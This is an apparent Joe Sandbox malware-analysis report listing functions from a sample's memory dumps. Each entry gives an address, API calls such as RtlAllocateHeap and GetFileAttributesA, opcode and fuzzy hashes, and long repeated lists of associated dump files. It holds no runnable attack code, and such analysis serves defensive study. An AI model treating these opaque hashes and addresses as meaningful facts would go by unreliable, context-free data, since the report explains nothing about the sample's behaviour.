Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 7e93ec3adc7182f0faa5ed0abbbff69f68e87d14e700d6fd08e970bbf9f62068
Instruction ID: 65476dc548cb86d4914c816a14a0f8bb5a9eb51de57e28d979733bf972230af3
Opcode Fuzzy Hash: 7e93ec3adc7182f0faa5ed0abbbff69f68e87d14e700d6fd08e970bbf9f62068
Instruction Fuzzy Hash: 5AE12B70F0025497DF25BB28CD077AE7E61AB42714FA042AEE815673C2DB7D4E4187CA

Function 004CD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004CA813,00000001,00000364,00000006,000000FF,?,004CEE3F,?,00000004,00000000,?,?), ref: 004CD870

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9d0e0d8e50781ebd30158c634a5f7434021e1bdb3294f7fefb74f8622d6e0c2a
Instruction ID: 882fd67b41abde1c93ebef772f9a28dec6c605c363ccc7923b3111c650a70418
Opcode Fuzzy Hash: 9d0e0d8e50781ebd30158c634a5f7434021e1bdb3294f7fefb74f8622d6e0c2a
Instruction Fuzzy Hash: 16F0E93AD0512466EFA13A779C01F5B37599F41770B17803FBC24A7291DA28DC0185F9

Function 004987B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0049DA1D,?,?,?,?), ref: 004987B9

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 3968fe63c40348f35ef298825a20ce48a72720d6d4fd53803469cdbcea1a5557
Instruction ID: 51e43e3ad073ef8288cd6bc97a1d8d8b42a619a8faf507e9d755f705e2fd9768
Opcode Fuzzy Hash: 3968fe63c40348f35ef298825a20ce48a72720d6d4fd53803469cdbcea1a5557
Instruction Fuzzy Hash: EAC08C280116000AFD1C05BC0A848AA37454A977B83F41FEDE0B04B3E1DE3D68079218

Function 004987B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0049DA1D,?,?,?,?), ref: 004987B9

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e431a9d792425cbaefadfac531d17316e3a6bb38fad1b3100d12e83015fd4ecf
Instruction ID: 31414cc0c54d4c981fd223323b45dfc310c8f8bc74c859bf1965172c8500d145
Opcode Fuzzy Hash: e431a9d792425cbaefadfac531d17316e3a6bb38fad1b3100d12e83015fd4ecf
Instruction Fuzzy Hash: 37C08C380112004AFE1C4ABC4A848263A059A5372D3F00FEDE0714B3E1DF3ED403C6A8

Function 0049B1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0049B3C8

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d1dea1d9f685f2ca6775be8764672c4b5e3640e00de0706dc522afa2812d4b59
Instruction ID: c89787ad1d9e0d53f6af5e3ccd9538c7728da4bc3532dbf35a3ee8f05a24be4e
Opcode Fuzzy Hash: d1dea1d9f685f2ca6775be8764672c4b5e3640e00de0706dc522afa2812d4b59
Instruction Fuzzy Hash: 5DB11670A10268DFEF28CF14C994BDEBBB5EF16308F5041D9E80967281D779AA84CF94

Function 04AA0C95 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697150509.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71e8cf77db49830cc9611d9d955df52bab3269033db6b28c4ef8bcb62991b5bf
Instruction ID: 79b66d4adb081785ff4ec2da62a8989049f1a85c92b82d15a19235e539c912e0
Opcode Fuzzy Hash: 71e8cf77db49830cc9611d9d955df52bab3269033db6b28c4ef8bcb62991b5bf
Instruction Fuzzy Hash: 8521366360E3D0AEC7535E3949A51D87F71AE2322032905EBC083CFA87F309556BC322

Function 04AA0C42 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697150509.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900bc6f5331a800c1bcced2b582b13a19df46b73b2546b8b78098a3cca1a0f98
Instruction ID: f961681af269eac2e459eab51f2ab559c6cc9c9fde9da268c07ef9f437ba4b81
Opcode Fuzzy Hash: 900bc6f5331a800c1bcced2b582b13a19df46b73b2546b8b78098a3cca1a0f98
Instruction Fuzzy Hash: 4001217B20F211EE8B822DA997816F9BF39FA067307204526E4074BE02F3606676A650

Function 04AA0C89 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697150509.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81964e9ebb9efd617fb0cbdc914c17d2665a473110647f35855f584d311a67e9
Instruction ID: fc4b95656d8a44098d5ba7fe4314c6487e915d7645a569f1c10bbcbbd64d9e5c
Opcode Fuzzy Hash: 81964e9ebb9efd617fb0cbdc914c17d2665a473110647f35855f584d311a67e9
Instruction Fuzzy Hash: F1F0207720E001EE8A832DA983901F96E3AFA0A6303300003F0074BE00F75022B2A211

Function 04AA0CE2 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697150509.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcdc0e842c4ef77061fdf786ad66e1c90dff3f39c2d6cb5fb9f0e7080dd658d
Instruction ID: 4c9ceebade54969ccc150f7e70f24cd09f19f68c1920214538e0ecde43e6b040
Opcode Fuzzy Hash: 6bcdc0e842c4ef77061fdf786ad66e1c90dff3f39c2d6cb5fb9f0e7080dd658d
Instruction Fuzzy Hash: 64E0D83714F141DE8A432EA992416E5BF39FE06A30320045AD0570FD00BB6461B1EA52

Function 04AA0CD0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697150509.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a88d6a9793b025d1c11097e03d29b265b37a028a9923a28df4f1b594c0e0fee5
Instruction ID: c59294d11feb29f3f351def3336d2311b0f3ba1bf7c94b946165386653c86ee5
Opcode Fuzzy Hash: a88d6a9793b025d1c11097e03d29b265b37a028a9923a28df4f1b594c0e0fee5
Instruction Fuzzy Hash: B6E0263714E2029E8A833DBD43512E9BE3AB91AA303B1141790070FE11B76475B1A642

Function 04AA0D00 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697150509.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 137762cf36cc53226f3bef3c68d225829d819318b7bb1dc7959fcfed3886cc78
Instruction ID: 96a67a6c8fedd4f31350087c43c5491c30875d4673949e7dad54860de3668bc9
Opcode Fuzzy Hash: 137762cf36cc53226f3bef3c68d225829d819318b7bb1dc7959fcfed3886cc78
Instruction Fuzzy Hash: A4D0A76715D5119D86473EBD53253E57E29FA1A7323641127E00B0FE01FF5632B1A640

Non-executed Functions

Function 004D31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 004D3323

Strings

1#INF, xrefs: 004D44DE
1#IND, xrefs: 004D44B3
1#SNAN, xrefs: 004D44BA
1#QNAN, xrefs: 004D44C1

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
